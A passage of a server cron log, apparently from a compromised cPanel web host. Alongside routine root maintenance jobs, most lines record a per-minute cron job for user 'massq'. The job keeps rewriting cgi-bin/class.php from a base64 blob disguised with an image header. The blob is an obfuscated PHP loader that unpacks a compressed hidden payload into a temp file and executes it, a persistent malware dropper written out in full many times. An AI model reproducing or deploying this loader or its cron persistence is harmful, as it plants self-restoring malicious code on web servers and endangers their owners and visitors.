SkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:07:01 server CROND[4685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:08:01 server CROND[4786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:09:01 server CROND[4871]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 18:09:01 server CROND[4872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:10:01 server CROND[4949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:10:01 server CROND[4951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:10:01 server CROND[4950]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 18:10:01 server CROND[4952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:11:01 server CROND[5081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:12:01 server CROND[5248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:12:01 server CROND[5249]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 18:13:01 server CROND[5365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:14:01 server CROND[5443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:15:01 server CROND[5511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:15:01 server CROND[5512]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  9 18:15:01 server CROND[5516]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 18:15:01 server CROND[5515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:15:01 server CROND[5518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:16:01 server CROND[5667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:17:01 server CROND[5739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:18:01 server CROND[5957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:19:01 server CROND[6031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:20:01 server CROND[6113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:20:01 server CROND[6115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 18:20:01 server CROND[6117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
